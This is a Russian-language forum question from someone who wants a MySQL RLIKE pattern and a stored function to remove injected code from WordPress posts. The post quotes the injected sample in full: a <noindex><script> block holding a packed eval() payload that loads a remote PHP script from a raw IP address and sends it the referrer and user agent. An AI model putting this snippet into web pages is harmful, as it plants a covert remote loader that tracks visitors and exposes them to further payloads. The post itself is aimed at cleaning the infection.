MySQL RLIKE найти, а затем заменить все символы между открытием и закрытием тегов HTML - PullRequest
0 голосов
/ 07 июня 2019

Я управляю базой данных, которая содержит несколько строк с кодом, завернутым в теги.

Пример кода для удаления

<noindex><script id="">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeznk|var|u0026u|referrer|zzrez||js|php'.split('|'),0,{}))
</script></noindex>

Мне нужно обновить следующий запрос SQL, чтобы выбрать теги noindex и все символы в них, а затем полностью удалить их.

UPDATE `wp_posts`
SET `post_content` = strip_certain_tags(post_content, 'script', true)
WHERE `post_content` RLIKE '<noindex>.*\n?</noindex>';

Я тоже попробовал это <noindex>(.*)</noindex>, но не весь код удаляется. Следующий код удаляется <noindex><script id=""></script></script>, но строка eval остается.

Функция MySQL

DELIMITER $$
CREATE FUNCTION strip_certain_tags($str text, $tag text, $keep_phrase bool) RETURNS text
BEGIN
    DECLARE $start, $end INT DEFAULT 1;
    SET $str = COALESCE($str, '');
    LOOP
        SET $start = LOCATE(CONCAT('<', $tag), $str, $start);
        IF (!$start) THEN RETURN $str; END IF;
        IF ($keep_phrase) THEN
            SET $end = LOCATE('>', $str, $start);
            IF (!$end) THEN SET $end = $start; END IF;
            SET $str = INSERT($str, $start, $end - $start + 1, '');
            SET $str = REPLACE($str, CONCAT('</', $tag, '>'), '');
        ELSE
            SET $end = LOCATE(CONCAT('</', $tag, '>'),$str,$start);
            IF (!$end) THEN 
                SET $end = LOCATE('/>',$str,$start); 
                SET $str = INSERT($str, $start, $end - $start + 2, '');
            ELSE 
                SET $str = INSERT($str, $start, $end - $start 
                   + LENGTH(CONCAT('</', $tag, '>')), '');
            END IF;
        END IF;
    END LOOP;
END$$
DELIMITER ;

Мои знания регулярных выражений POSIX ограничены. Любые советы приветствуются.

...